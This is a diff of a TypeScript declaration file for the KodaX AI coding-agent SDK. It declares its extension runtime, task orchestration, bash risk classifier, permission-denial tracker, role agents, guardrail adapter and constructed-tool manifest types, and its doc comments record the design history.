2369
+ queueUserMessage(message: string | KodaXMessage): void;
2370
+ getSessionState<T = KodaXJsonValue>(extensionId: string, key: string): T | undefined;
2371
+ setSessionState(extensionId: string, key: string, value: KodaXJsonValue | undefined): void;
2372
+ getSessionStateSnapshot(extensionId: string): Record<string, KodaXJsonValue>;
2373
+ appendSessionRecord(extensionId: string, type: string, data?: KodaXJsonValue, options?: {
2374
+ dedupeKey?: string;
2375
+ }): KodaXExtensionSessionRecord;
2376
+ listSessionRecords(extensionId: string, type?: string): KodaXExtensionSessionRecord[];
2377
+ clearSessionRecords(extensionId: string, type?: string): number;
2378
+ getActiveTools(): string[];
2379
+ setActiveTools(toolNames: string[]): void;
2380
+ getModelSelection(): ExtensionModelSelection;
2381
+ setModelSelection(next: ExtensionModelSelection): void;
2382
+ getThinkingLevel(): KodaXReasoningMode | undefined;
2383
+ setThinkingLevel(level: KodaXReasoningMode): void;
2384
+ }
2385
+ interface ExtensionLoadOptions {
2386
+ continueOnError?: boolean;
2387
+ loadSource?: ExtensionLoadSource;
2388
+ stage?: Extract<ExtensionFailureStage, 'load' | 'reload'>;
2389
+ }
2390
+
2391
+ declare class KodaXExtensionRuntime implements ExtensionRuntimeContract {
2392
+ private readonly capabilityProviders;
2393
+ private readonly commands;
2394
+ private readonly eventHandlers;
2395
+ private readonly hookHandlers;
2396
+ private readonly loadedExtensions;
2397
+ private readonly failures;
2398
+ private readonly runtimeDisposables;
2399
+ private readonly runtimeLogger;
2400
+ private readonly config;
2401
+ private readonly runtimeController;
2402
+ private nextRecordId;
2403
+ private boundController;
2404
+ private defaultActiveTools;
2405
+ private defaultModelSelection;
2406
+ private defaultThinkingLevel;
2407
+ constructor(options?: {
2408
+ config?: Readonly<Record<string, unknown>>;
2409
+ });
2410
+ activate(): this;
2411
+ getDefaults(): RuntimeDefaultsSnapshot;
2412
+ bindController(controller: BoundExtensionRuntimeController): () => void;
2413
+ dispose(): Promise<void>;
2414
+ loadExtensions(paths: string[], options?: ExtensionLoadOptions): Promise<void>;
2415
+ loadExtension(extensionPath: string, options?: ExtensionLoadOptions): Promise<void>;
2416
+ reloadExtensions(options?: Pick<ExtensionLoadOptions, 'continueOnError'>): Promise<void>;
2417
+ listCapabilityProviders(): CapabilityProvider[];
2418
+ registerCapabilityProvider(provider: CapabilityProvider, options?: {
2419
+ source?: ExtensionContributionSource;
2420
+ }): () => void;
2421
+ registerTool(definition: LocalToolDefinition, options?: ToolRegistrationOptions): () => void;
2422
+ registerHook<THook extends keyof ExtensionHookMap>(hook: THook, handler: ExtensionHookMap[THook], options?: {
2423
+ source?: ExtensionContributionSource;
2424
+ }): () => void;
2425
+ on<TEvent extends keyof ExtensionEventMap>(event: TEvent, handler: (payload: ExtensionEventMap[TEvent]) => Promise<void> | void, options?: {
2426
+ source?: ExtensionContributionSource;
2427
+ }): () => void;
2428
+ listCommands(): ExtensionCommandDefinition[];
2429
+ getCommand(name: string): ExtensionCommandDefinition | undefined;
2430
+ getDiagnostics(): ExtensionRuntimeDiagnostics;
2431
+ getCapabilityProvider(providerId: string): CapabilityProvider | undefined;
2432
+ searchCapabilities(providerId: string, query: string, options?: {
2433
+ kind?: CapabilityProvider['kinds'][number];
2434
+ limit?: number;
2435
+ server?: string;
2436
+ }): Promise<unknown[]>;
2437
+ describeCapability(providerId: string, capabilityId: string): Promise<unknown>;
2438
+ executeCapability(providerId: string, capabilityId: string, input: Record<string, unknown>): Promise<CapabilityResult>;
2439
+ readCapability(providerId: string, capabilityId: string, options?: Record<string, unknown>): Promise<CapabilityResult>;
2440
+ getCapabilityPrompt(providerId: string, capabilityId: string, args?: Record<string, unknown>): Promise<unknown>;
2441
+ getCapabilityPromptContext(providerId: string): Promise<string | undefined>;
2442
+ refreshCapabilityProviders(providerId?: string): Promise<void>;
2443
+ hydrateSession(sessionId: string): Promise<void>;
2444
+ emit<TEvent extends keyof ExtensionEventMap>(event: TEvent, payload: ExtensionEventMap[TEvent]): Promise<void>;
2445
+ runHook<THook extends keyof ExtensionHookMap>(hook: THook, payload: Parameters<ExtensionHookMap[THook]>[0]): Promise<Awaited<ReturnType<ExtensionHookMap[THook]>> | undefined>;
2446
+ private createExtensionSource;
2447
+ private createRuntimeSource;
2448
+ private recordFailure;
2449
+ private createExtensionApi;
2450
+ private createLogger;
2451
+ private createRuntimeControllerProxy;
2452
+ private createExtensionApiRuntimeController;
2453
+ private registerRecord;
2454
+ private registerEventHandler;
2455
+ private registerHookHandler;
2456
+ private unloadExtension;
2457
+ private importExtensionModule;
2458
+ }
2459
+ declare function createExtensionRuntime(options?: {
2460
+ config?: Readonly<Record<string, unknown>>;
2461
+ }): KodaXExtensionRuntime;
2462
+ declare function setActiveExtensionRuntime(runtime: KodaXExtensionRuntime | null): void;
2463
+ declare function getActiveExtensionRuntime(): KodaXExtensionRuntime | null;
2464
+
2465
+ /**
2466
+ * Coding-runtime adapter: registers an `McpCapabilityProvider` (from
2467
+ * `@kodax-ai/mcp`) against the coding-specific `KodaXExtensionRuntime`.
2468
+ *
2469
+ * FEATURE_082 (v0.7.24): split out of the old
2470
+ * `capabilities/providers/mcp/provider.ts`. The provider class now lives in
2471
+ * `@kodax-ai/mcp` and stays free of any coding runtime dependency; this file
2472
+ * is the thin bridge that wires the provider into the coding extension
2473
+ * runtime.
2474
+ */
2475
+
2476
+ declare function registerConfiguredMcpCapabilityProvider(runtime: KodaXExtensionRuntime, servers: McpServersConfig | undefined, options?: McpProviderOptions): Promise<McpCapabilityProvider | undefined>;
2477
+
2478
+ type OfficialSandboxMode = 'enforced' | 'best_effort';
2479
+ interface OfficialSandboxOptions {
2480
+ workspaceRoot: string;
2481
+ mode?: OfficialSandboxMode;
2482
+ }
2483
+ declare function registerOfficialSandboxExtension(runtime: KodaXExtensionRuntime, options: OfficialSandboxOptions): () => void;
2484
+
2485
+ type OrchestrationTaskExecution = 'serial' | 'parallel';
2486
+ type OrchestrationTaskStatus = 'completed' | 'failed' | 'blocked';
2487
+ interface OrchestrationTaskBudget {
2488
+ maxIter?: number;
2489
+ reasoningMode?: KodaXReasoningMode;
2490
+ thinking?: boolean;
2491
+ }
2492
+ interface OrchestrationArtifact {
2493
+ kind: 'json' | 'text' | 'markdown';
2494
+ path: string;
2495
+ description?: string;
2496
+ }
2497
+ interface OrchestrationWorkerSpec<TInput = unknown> {
2498
+ id: string;
2499
+ title: string;
2500
+ input?: TInput;
2501
+ dependsOn?: string[];
2502
+ execution?: OrchestrationTaskExecution;
2503
+ timeoutMs?: number;
2504
+ budget?: OrchestrationTaskBudget;
2505
+ agent?: string;
2506
+ metadata?: Record<string, unknown>;
2507
+ beforeToolExecute?: KodaXEvents['beforeToolExecute'];
2508
+ }
2509
+ interface OrchestrationWorkerResult<TOutput = unknown> {
2510
+ success: boolean;
2511
+ output?: TOutput;
2512
+ summary?: string;
2513
+ error?: string;
2514
+ metadata?: Record<string, unknown>;
2515
+ artifacts?: OrchestrationArtifact[];
2516
+ }
2517
+ interface OrchestrationCompletedTask<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
2518
+ id: string;
2519
+ title: string;
2520
+ task: TTask;
2521
+ status: OrchestrationTaskStatus;
2522
+ taskDir: string;
2523
+ startedAt: string;
2524
+ completedAt: string;
2525
+ durationMs: number;
2526
+ result: OrchestrationWorkerResult<TOutput>;
2527
+ }
2528
+ interface OrchestrationTaskContext<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
2529
+ runId: string;
2530
+ workspaceDir: string;
2531
+ taskDir: string;
2532
+ dependencyResults: Record<string, OrchestrationCompletedTask<TTask, TOutput>>;
2533
+ emit: (message: string) => Promise<void>;
2534
+ signal?: AbortSignal;
2535
+ }
2536
+ type OrchestrationWorkerRunner<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> = (task: TTask, context: OrchestrationTaskContext<TTask, TOutput>) => Promise<OrchestrationWorkerResult<TOutput>>;
2537
+ /**
2538
+ * Trace event emitted by `runOrchestration` while stepping through a task DAG
2539
+ * (run/task start/message/complete/failed/blocked). Persisted as JSONL via
2540
+ * `appendTrace` to `{workspaceDir}/orchestration-trace.jsonl`.
2541
+ *
2542
+ * @deprecated FEATURE_083 (v0.7.24) originally superseded this by
2543
+ * `AgentSpan` / `HandoffSpan` in `@kodax-ai/tracing`. **FEATURE_086 (v0.7.27)
2544
+ * evaluated removal and kept it**: AgentSpan is scoped to a single Runner
2545
+ * lifecycle, whereas OrchestrationTraceEvent spans across Tasks scheduled
2546
+ * by `runOrchestration` — no cross-task span equivalent exists yet, and
2547
+ * `runOrchestration` + this type are part of the `@kodax-ai/coding` public
2548
+ * surface. The `@deprecated` tag is kept as a signal that new code
2549
+ * targeting in-Runner tracing should prefer `@kodax-ai/tracing` spans;
2550
+ * cross-task orchestration code is free to continue using this event.
2551
+ */
2552
+ interface OrchestrationTraceEvent {
2553
+ type: 'run_started' | 'task_started' | 'task_message' | 'task_completed' | 'task_failed' | 'task_blocked' | 'run_completed';
2554
+ timestamp: string;
2555
+ runId: string;
2556
+ taskId?: string;
2557
+ message?: string;
2558
+ status?: OrchestrationTaskStatus;
2559
+ metadata?: Record<string, unknown>;
2560
+ }
2561
+ interface OrchestrationRunEvents<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
2562
+ onRunStart?: (info: {
2563
+ runId: string;
2564
+ workspaceDir: string;
2565
+ taskCount: number;
2566
+ }) => void | Promise<void>;
2567
+ onTaskStart?: (task: TTask) => void | Promise<void>;
2568
+ onTaskMessage?: (task: TTask, message: string) => void | Promise<void>;
2569
+ onTaskComplete?: (task: TTask, completed: OrchestrationCompletedTask<TTask, TOutput>) => void | Promise<void>;
2570
+ onRunComplete?: (result: OrchestrationRunResult<TTask, TOutput>) => void | Promise<void>;
2571
+ }
2572
+ interface OrchestrationRunOptions<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
2573
+ tasks: TTask[];
2574
+ workspaceDir: string;
2575
+ runner: OrchestrationWorkerRunner<TTask, TOutput>;
2576
+ runId?: string;
2577
+ maxParallel?: number;
2578
+ signal?: AbortSignal;
2579
+ events?: OrchestrationRunEvents<TTask, TOutput>;
2580
+ }
2581
+ interface OrchestrationRunResult<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
2582
+ runId: string;
2583
+ workspaceDir: string;
2584
+ tasks: Array<OrchestrationCompletedTask<TTask, TOutput>>;
2585
+ taskResults: Record<string, OrchestrationCompletedTask<TTask, TOutput>>;
2586
+ summary: {
2587
+ total: number;
2588
+ completed: number;
2589
+ failed: number;
2590
+ blocked: number;
2591
+ };
2592
+ }
2593
+ interface KodaXAgentWorkerSpec extends OrchestrationWorkerSpec<string> {
2594
+ prompt: string;
2595
+ provider?: string;
2596
+ model?: string;
2597
+ }
2598
+ interface CreateKodaXTaskRunnerOptions<TTask extends KodaXAgentWorkerSpec = KodaXAgentWorkerSpec> {
2599
+ baseOptions: KodaXOptions;
2600
+ runAgent?: (options: KodaXOptions, prompt: string) => Promise<KodaXResult>;
2601
+ rateLimit?: <T>(operation: () => Promise<T>) => Promise<T>;
2602
+ buildPrompt?: (task: TTask, context: OrchestrationTaskContext<TTask, string>) => string;
2603
+ createEvents?: (task: TTask, context: OrchestrationTaskContext<TTask, string>) => KodaXEvents;
2604
+ createOptions?: (task: TTask, context: OrchestrationTaskContext<TTask, string>, defaultOptions: KodaXOptions) => KodaXOptions;
2605
+ onResult?: (task: TTask, context: OrchestrationTaskContext<TTask, string>, result: KodaXResult) => KodaXResult | void | Promise<KodaXResult | void>;
2606
+ runTask?: (task: TTask, context: OrchestrationTaskContext<TTask, string>, preparedOptions: KodaXOptions, prompt: string, executeDefault: () => Promise<KodaXResult>) => Promise<KodaXResult>;
2607
+ }
2608
+ declare function runOrchestration<TTask extends OrchestrationWorkerSpec, TOutput = unknown>(options: OrchestrationRunOptions<TTask, TOutput>): Promise<OrchestrationRunResult<TTask, TOutput>>;
2609
+ declare function createKodaXTaskRunner<TTask extends KodaXAgentWorkerSpec = KodaXAgentWorkerSpec>(options: CreateKodaXTaskRunnerOptions<TTask>): OrchestrationWorkerRunner<TTask, string>;
2610
+
2611
+ /**
2612
+ * KodaX Parallel Task Dispatch
2613
+ *
2614
+ * Enables Scout to dispatch independent subtasks in parallel via runOrchestration.
2615
+ * This is the minimal viable slice of #92 (Team Agent).
2616
+ */
2617
+ interface ParallelSubtask {
2618
+ readonly id: string;
2619
+ readonly description: string;
2620
+ readonly prompt: string;
2621
+ }
2622
+ interface ParallelDispatchDirective {
2623
+ readonly type: 'parallel_dispatch';
2624
+ readonly subtasks: readonly ParallelSubtask[];
2625
+ readonly reason: string;
2626
+ }
2627
+ interface ParallelDispatchResult {
2628
+ readonly tasks: readonly {
2629
+ readonly id: string;
2630
+ readonly description: string;
2631
+ readonly status: 'completed' | 'failed';
2632
+ readonly summary: string;
2633
+ readonly durationMs: number;
2634
+ }[];
2635
+ readonly overallSummary: string;
2636
+ readonly totalDurationMs: number;
2637
+ }
2638
+ /**
2639
+ * Check if a Scout directive indicates parallel dispatch.
2640
+ */
2641
+ declare function isParallelDispatchDirective(directive: unknown): directive is ParallelDispatchDirective;
2642
+ /**
2643
+ * Format parallel dispatch results into a user-facing summary.
2644
+ */
2645
+ declare function formatParallelDispatchResult(result: ParallelDispatchResult): string;
2646
+ /**
2647
+ * Validate that subtasks are independent (basic heuristic check).
2648
+ * Returns null if valid, or an error message if not.
2649
+ */
2650
+ declare function validateSubtaskIndependence(subtasks: readonly ParallelSubtask[]): string | null;
2651
+
2652
+ /**
2653
+ * KodaX Bash Command Risk Classifier
2654
+ *
2655
+ * Classifies bash commands into safe/normal/dangerous risk levels.
2656
+ * Pure function, no side effects.
2657
+ */
2658
+ type BashRiskLevel = 'safe' | 'normal' | 'dangerous';
2659
+ interface BashClassificationResult {
2660
+ readonly level: BashRiskLevel;
2661
+ readonly reason: string;
2662
+ readonly matchedPattern?: string;
2663
+ }
2664
+ interface BashClassifierConfig {
2665
+ readonly safePatterns: readonly RegExp[];
2666
+ readonly dangerousPatterns: readonly RegExp[];
2667
+ }
2668
+ declare const DEFAULT_SAFE_PATTERNS: readonly RegExp[];
2669
+ declare const DEFAULT_DANGEROUS_PATTERNS: readonly RegExp[];
2670
+ declare function createBashClassifierConfig(userSafePatterns?: readonly string[], userDangerousPatterns?: readonly string[]): BashClassifierConfig;
2671
+ declare function classifyBashCommand(command: string, config?: BashClassifierConfig): BashClassificationResult;
2672
+
2673
+ /**
2674
+ * KodaX Denial Tracker - Immutable session-scoped tool denial tracking
2675
+ *
2676
+ * Tracks user permission denials to avoid re-prompting for the same operation.
2677
+ * Provides denial context for injection into agent messages.
2678
+ */
2679
+ interface DenialRecord {
2680
+ readonly toolName: string;
2681
+ readonly inputSignature: string;
2682
+ readonly timestamp: number;
2683
+ readonly reason?: string;
2684
+ }
2685
+ interface DenialTracker {
2686
+ readonly records: readonly DenialRecord[];
2687
+ }
2688
+ declare function createDenialTracker(): DenialTracker;
2689
+ /**
2690
+ * Compute a normalized signature for a tool input.
2691
+ * - bash: first 3 tokens of the command
2692
+ * - edit/write/read: file path
2693
+ * - other: tool name + hash prefix
2694
+ */
2695
+ declare function computeInputSignature(toolName: string, input: Record<string, unknown>): string;
2696
+ declare function recordDenial(tracker: DenialTracker, toolName: string, input: Record<string, unknown>, reason?: string): DenialTracker;
2697
+ declare function isDeniedRecently(tracker: DenialTracker, toolName: string, input: Record<string, unknown>, ttl?: number): boolean;
2698
+ /**
2699
+ * Generate a denial context string for injection into agent messages.
2700
+ * Tells the LLM what was denied so it can adjust its strategy.
2701
+ */
2702
+ declare function getDenialContext(tracker: DenialTracker): string;
2703
+
2704
+ /**
2705
+ * Placeholder Agent declarations for the coding-AMA H2 task-engine roles
2706
+ * (Scout / Planner / Generator / Evaluator).
2707
+ *
2708
+ * FEATURE_080 (v0.7.23): these declarations exist so the role identities
2709
+ * are represented as Layer A `Agent` data, which downstream features need:
2710
+ *
2711
+ * - FEATURE_084 (v0.7.26): runtime rewrite of Scout/Planner/Generator/
2712
+ * Evaluator on top of `Runner` consumes these declarations as the
2713
+ * source of truth for role metadata.
2714
+ * - FEATURE_078 (v0.7.29): reasoning profiles attach to the `reasoning`
2715
+ * field on these declarations.
2716
+ * - FEATURE_087+ self-construction: Agent-as-data means role specs can
2717
+ * be serialized, versioned, and mutated.
2718
+ *
2719
+ * Runtime note: **no preset dispatcher is registered for these agents**.
2720
+ * They are declarative placeholders. `Runner.run(scoutAgent, ...)` without
2721
+ * an `opts.llm` callback will throw the generic "no dispatcher" error;
2722
+ * that's intentional — the current task-engine executes these roles via
2723
+ * its existing internal flow, not through `Runner`. FEATURE_084 wires the
2724
+ * Runner runtime to these declarations.
2725
+ *
2726
+ * `instructions` strings here are short identifier-level summaries — the
2727
+ * full role prompts live in
2728
+ * `packages/coding/src/task-engine/_internal/prompts/role-prompt.ts` (the
2729
+ * FEATURE_079 extraction) and are loaded by the existing code path.
2730
+ *
2731
+ * v0.7.35.1 FEATURE_142 (A-R1): moved from `@kodax-ai/agent/src/primitives/`
2732
+ * back to `@kodax-ai/coding/src/agents/`. These role declarations are
2733
+ * coding-AMA-specific (Scout / Planner / Generator / Evaluator are the
2734
+ * H2 state-machine roles, not generic Agent platform primitives). Per
2735
+ * ADR-021, the universal `@kodax-ai/agent` framework must not predeclare
2736
+ * coding's H2 role identities.
2737
+ */
2738
+
2739
+ declare const SCOUT_AGENT_NAME = "kodax/role/scout";
2740
+ declare const PLANNER_AGENT_NAME = "kodax/role/planner";
2741
+ declare const GENERATOR_AGENT_NAME = "kodax/role/generator";
2742
+ declare const EVALUATOR_AGENT_NAME = "kodax/role/evaluator";
2743
+ /**
2744
+ * Scout role declaration. Scout is the AMA entry point that both judges
2745
+ * task complexity and executes the H0 direct case; on H1/H2 it hands off
2746
+ * to Generator or Planner (see FEATURE_061).
2747
+ */
2748
+ declare const scoutAgent: Agent;
2749
+ /**
2750
+ * Planner role declaration. Produces an execution plan consumed by
2751
+ * Generator in the H2 harness.
2752
+ */
2753
+ declare const plannerAgent: Agent;
2754
+ /**
2755
+ * Generator role declaration. Performs the actual code changes /
2756
+ * investigations in both H1 and H2 harnesses.
2757
+ */
2758
+ declare const generatorAgent: Agent;
2759
+ /**
2760
+ * Evaluator role declaration. Lightweight verifier in H1, structured
2761
+ * revise/replan gate in H2.
2762
+ */
2763
+ declare const evaluatorAgent: Agent;
2764
+ /** All four placeholder role agents, exposed for iteration in downstream features. */
2765
+ declare const TASK_ENGINE_ROLE_AGENTS: Readonly<{
2766
+ readonly scout: Agent<unknown>;
2767
+ readonly planner: Agent<unknown>;
2768
+ readonly generator: Agent<unknown>;
2769
+ readonly evaluator: Agent<unknown>;
2770
+ }>;
2771
+
2772
+ /**
2773
+ * Default coding agent preset (FEATURE_080 → FEATURE_100).
2774
+ *
2775
+ * History:
2776
+ * v0.7.23 (FEATURE_080) introduced "Option Y": a `registerPresetDispatcher`
2777
+ * indirection that wrapped `runKodaX` so `Runner.run(defaultCodingAgent, …)`
2778
+ * appeared SDK-native while the body stayed on the legacy path. The trade-off
2779
+ * was deliberate parity insurance during the Layer-A primitives rollout.
2780
+ *
2781
+ * v0.7.29 (FEATURE_100) deletes Option Y per ADR-020. The substrate executor
2782
+ * is attached directly to the Agent declaration via `Agent.substrateExecutor`
2783
+ * (an Agent field added in this version), and `Runner.run` consults that
2784
+ * field before any registry lookup. No `registerPresetDispatcher` call is
2785
+ * made any more, so `Runner.run(createDefaultCodingAgent(), …)` and
2786
+ * `runKodaX(opts, prompt)` (now a thin `Runner.run` wrapper in `agent.ts`)
2787
+ * share one execution path.
2788
+ *
2789
+ * This file stays in `@kodax-ai/coding` because the substrate executor closure
2790
+ * imports `runSubstrate` from `agent-runtime/run-substrate.ts`. Importing
2791
+ * `@kodax-ai/core` alone never loads the substrate body.
2792
+ */
2793
+
2794
+ /** Stable name used as the dispatch key for the built-in coding preset. */
2795
+ declare const DEFAULT_CODING_AGENT_NAME = "kodax/coding/default";
2796
+ /**
2797
+ * Construct the default coding Agent declaration. SDK consumers may write
2798
+ * `Runner.run(createDefaultCodingAgent(), prompt, { presetOptions })` and
2799
+ * the Runner will execute the substrate via `Agent.substrateExecutor`.
2800
+ *
2801
+ * `overrides` lets callers attach additional declarative fields
2802
+ * (e.g. custom `reasoning` profile, extra `guardrails`, custom
2803
+ * `provider`/`model`); these are preserved on the Agent and may be
2804
+ * consumed by the substrate executor through `presetOptions`.
2805
+ */
2806
+ declare function createDefaultCodingAgent(overrides?: Partial<Omit<Agent, 'name' | 'instructions'>>): Agent;
2807
+
2808
+ /**
2809
+ * Coding Agent declarations — FEATURE_084 (v0.7.26).
2810
+ *
2811
+ * **These are declarative references exposing the canonical Scout /
2812
+ * Planner / Generator / Evaluator topology to SDK consumers.** Each
2813
+ * exported Agent carries the role's emit tool + the H0/H1/H2 handoff
2814
+ * graph, but carries ONLY a short identifier `instructions` string and
2815
+ * NO coding tools (read / grep / bash / write / edit / etc.).
2816
+ *
2817
+ * **The runtime agents are built fresh by
2818
+ * `task-engine/runner-driven.ts::buildRunnerAgentChain` on every run**,
2819
+ * with:
2820
+ * - full v0.7.22-parity `instructions` via
2821
+ * `_internal/managed-task/role-prompt.ts::createRolePrompt` (dynamic
2822
+ * closure resolving decision / contract / metadata / verification /
2823
+ * tool-policy / evidence-strategy / dispatch guidance per turn)
2824
+ * - per-run coding tools (read / grep / glob / bash / write / edit /
2825
+ * dispatch_child_task) wrapped with budget + mutation tracking +
2826
+ * progress reporting
2827
+ * - recorder-wrapped emit tools that drive the budget-extension
2828
+ * dialog + degraded-continue logic
2829
+ *
2830
+ * So these exports are **useful as topology documentation and as a
2831
+ * starting point for custom Runner invocations** (e.g. Runner.run with
2832
+ * your own llm adapter), but they are NOT the agents that run under
2833
+ * normal AMA dispatch. Do not expect wrapping `scoutCodingAgent` to
2834
+ * give you the behaviour of an in-SDK AMA run — for that, use
2835
+ * `runManagedTaskViaRunner` or the preset dispatcher on
2836
+ * `createDefaultCodingAgent`.
2837
+ */
2838
+
2839
+ /** Marker exported for tests and for future binding sites in Shard 5. */
2840
+ declare const CODING_AGENT_MARKER: "kodax-coding-agent@0.7.26";
2841
+ declare const scoutCodingAgent: Agent;
2842
+ declare const plannerCodingAgent: Agent;
2843
+ declare const generatorCodingAgent: Agent;
2844
+ declare const evaluatorCodingAgent: Agent;
2845
+ /**
2846
+ * Topology record — iterable form of the four coding agents. Shard 5's
2847
+ * Runner-driven dispatcher uses this as the agent lookup.
2848
+ */
2849
+ declare const CODING_AGENTS: Readonly<{
2850
+ readonly scout: Agent<unknown>;
2851
+ readonly planner: Agent<unknown>;
2852
+ readonly generator: Agent<unknown>;
2853
+ readonly evaluator: Agent<unknown>;
2854
+ }>;
2855
+
2856
+ /**
2857
+ * Adapter: wrap `applyToolResultGuardrail` (the existing per-tool truncation
2858
+ * policy) as a Layer A `ToolGuardrail.afterTool`.
2859
+ *
2860
+ * FEATURE_085 (v0.7.26): the tri-layer Guardrail runtime lives in
2861
+ * `@kodax-ai/core`. The existing truncation logic in `tool-result-policy.ts`
2862
+ * predates that runtime and targets `KodaXToolExecutionContext`. Rather
2863
+ * than merge the two, we expose an adapter that coding consumers can
2864
+ * register when driving a Runner through the generic path — the adapter
2865
+ * preserves byte-exact truncation behaviour while participating in the
2866
+ * new Guardrail lifecycle (Span emission, declaration-order composition).
2867
+ *
2868
+ * **Not** registered by default. Consumers opt in via
2869
+ * `Runner.run(agent, input, { guardrails: [createToolResultTruncationGuardrail(ctx)] })`.
2870
+ * The built-in `runKodaX` preset dispatcher continues to call
2871
+ * `applyToolResultGuardrail` directly — no behavioural change there.
2872
+ */
2873
+
2874
+ declare const TOOL_RESULT_TRUNCATION_GUARDRAIL_NAME = "tool-result-truncation";
2875
+ /**
2876
+ * Create a `ToolGuardrail` that delegates to `applyToolResultGuardrail` in
2877
+ * its `afterTool` hook. The returned guardrail does not touch the call
2878
+ * going in (no `beforeTool`).
2879
+ *
2880
+ * @param ctx The coding-layer execution context that
2881
+ * `applyToolResultGuardrail` needs (mutation tracker, persistence dir,
2882
+ * etc.). Typically created alongside the `KodaXOptions` for the run.
2883
+ */
2884
+ declare function createToolResultTruncationGuardrail(ctx: KodaXToolExecutionContext): ToolGuardrail;
2885
+
2886
+ /**
2887
+ * KodaX Constructed-World types (FEATURE_087, v0.7.28).
2888
+ *
2889
+ * Runtime-generated capabilities (tools / agents / skills / ...) live in
2890
+ * `.kodax/constructed/` and are loaded into the same registries as builtin
2891
+ * primitives. v0.7.28 only ships tool generation (FEATURE_088); other kinds
2892
+ * land in FEATURE_089 / FEATURE_090.
2893
+ *
2894
+ * Cross-references:
2895
+ * - DD §14 — lifecycle, security model, registry merge semantics.
2896
+ * - docs/features/v0.7.28.md — capability schema, generation flow.
2897
+ */
2898
+ /**
2899
+ * Handler script source. v0.7.28 limits language to `'javascript'` so that
2900
+ * `loadHandler()` can `await import()` the file directly without an
2901
+ * intermediate TS → JS compile step (no esbuild / tsx dependency).
2902
+ *
2903
+ * TypeScript handlers are explicitly out of scope; Coding Agent generates
2904
+ * JS strings on the wire.
2905
+ */
2906
+ interface ScriptSource {
2907
+ readonly kind: 'script';
2908
+ readonly language: 'javascript';
2909
+ readonly code: string;
2910
+ }
2911
+ /**
2912
+ * Capability declaration.
2913
+ *
2914
+ * v0.7.28 ships the single-dimension form: a whitelist of builtin tool
2915
+ * names that the handler may invoke through `ctx.tools.<name>(...)`.
2916
+ * All I/O — fs / net / env — must flow through builtin tools (`read` /
2917
+ * `write` / `bash` / etc.); handlers do not receive direct `ctx.fs` /
2918
+ * `ctx.net` / `ctx.env` entry points.
2919
+ *
2920
+ * Forward-compatible evolution: if the future demands path/domain-level
2921
+ * constraints, this can grow to `(string | { name; constraints })[]`
2922
+ * without breaking existing manifests.
2923
+ */
2924
+ interface Capabilities {
2925
+ readonly tools: readonly string[];
2926
+ }
2927
+ /**
2928
+ * Tool-kind artifact body (the `content` of `ConstructionArtifact` when
2929
+ * `kind === 'tool'`).
2930
+ */
2931
+ interface ToolContent {
2932
+ readonly description: string;
2933
+ readonly inputSchema: Record<string, unknown>;
2934
+ readonly capabilities: Capabilities;
2935
+ readonly handler: ScriptSource;
2936
+ /**
2937
+ * Per-tool timeout override. Defaults to {@link DEFAULT_HANDLER_TIMEOUT_MS}
2938
+ * when omitted. Bounded by AbortController in `loadHandler()`.
2939
+ */
2940
+ readonly timeoutMs?: number;
2941
+ }
2942
+ /**
2943
+ * Default handler timeout. Picked to match the historical ceiling on
2944
+ * builtin streaming tools (30s); revisit if a constructed tool demands
2945
+ * longer-running computation.
2946
+ */
2947
+ declare const DEFAULT_HANDLER_TIMEOUT_MS = 30000;
2948
+ /**
2949
+ * Lifecycle state on disk. Drives both the startup glob filter and the
2950
+ * `revoke()` semantics. See DD §14.1 — file system is the single source
2951
+ * of truth; no separate `_manifest.json` index file (C4 decision).
2952
+ */
2953
+ type ArtifactStatus = 'staged' | 'active' | 'revoked';
2954
+ /**
2955
+ * Reference to a tool by stable id. v0.7.31 (FEATURE_089) introduces
2956
+ * Agent manifests that bundle tool refs rather than inline tool bodies;
2957
+ * the resolver expands these refs to concrete `KodaXToolDefinition`
2958
+ * instances at activate time.
2959
+ *
2960
+ * `ref` shape:
2961
+ * - `builtin:<name>` — a tool from the static registry
2962
+ * (e.g. `builtin:read`, `builtin:bash`)
2963
+ * - `constructed:<name>@<ver>` — a previously-activated constructed tool
2964
+ */
2965
+ interface ToolRef {
2966
+ readonly ref: string;
2967
+ }
2968
+ /**
2969
+ * Reference to a Guardrail by stable id. The Layer A `Guardrail`
2970
+ * declaration is name-only (no runtime hooks); resolvers map known
2971
+ * names to constructed `ToolGuardrail` / `InputGuardrail` /
2972
+ * `OutputGuardrail` instances at activation time.
2973
+ */
2974
+ interface GuardrailRef {
2975
+ readonly kind: 'input' | 'output' | 'tool';
2976
+ readonly ref: string;
2977
+ }
2978
+ /**
2979
+ * Reference to a handoff target by stable id (another constructed agent
2980
+ * or a builtin role). The resolver expands `target.ref` to the actual
2981
+ * `Agent` declaration at admission time so the handoff DAG check
2982
+ * (`handoffLegality` invariant) sees the full graph.
2983
+ */
2984
+ interface AgentHandoffRef {
2985
+ readonly target: {
2986
+ readonly ref: string;
2987
+ };
2988
+ readonly kind: 'continuation' | 'as-tool';
2989
+ readonly description?: string;
2990
+ }
2991
+ /**
2992
+ * Reasoning profile declaration mirroring the Layer A
2993
+ * `AgentReasoningProfile`. Kept structurally identical so the resolver
2994
+ * passes the value through without re-shaping.
2995
+ */
2996
+ interface AgentReasoningRef {
2997
+ readonly default: 'quick' | 'balanced' | 'deep';
2998
+ readonly max?: 'quick' | 'balanced' | 'deep';
2999
+ readonly escalateOnRevise?: boolean;
3000
+ }
3001
+ /**
3002
+ * Sandbox test case. Used by `sandbox_test_agent` to verify a
3003
+ * constructed agent before it can activate. Each case feeds `input`
3004
+ * to a sandbox Runner instance and grades the agent's final output:
3005
+ *
3006
+ * - `expectMatch` — final text must match this regex (string form)
3007
+ * - `expectNotMatch` — final text must NOT match this regex
3008
+ * - `expectFinalText` — exact substring match (case-sensitive)
3009
+ *
3010
+ * At least one of the three expect-fields must be present; the cases
3011
+ * are graded by `runSandboxAgentTest()` (FEATURE_089 Phase 3.5).
3012
+ */
3013
+ interface AgentTestCase {
3014
+ readonly id: string;
3015
+ readonly input: string;
3016
+ readonly expectMatch?: string;
3017
+ readonly expectNotMatch?: string;
3018
+ readonly expectFinalText?: string;
3019
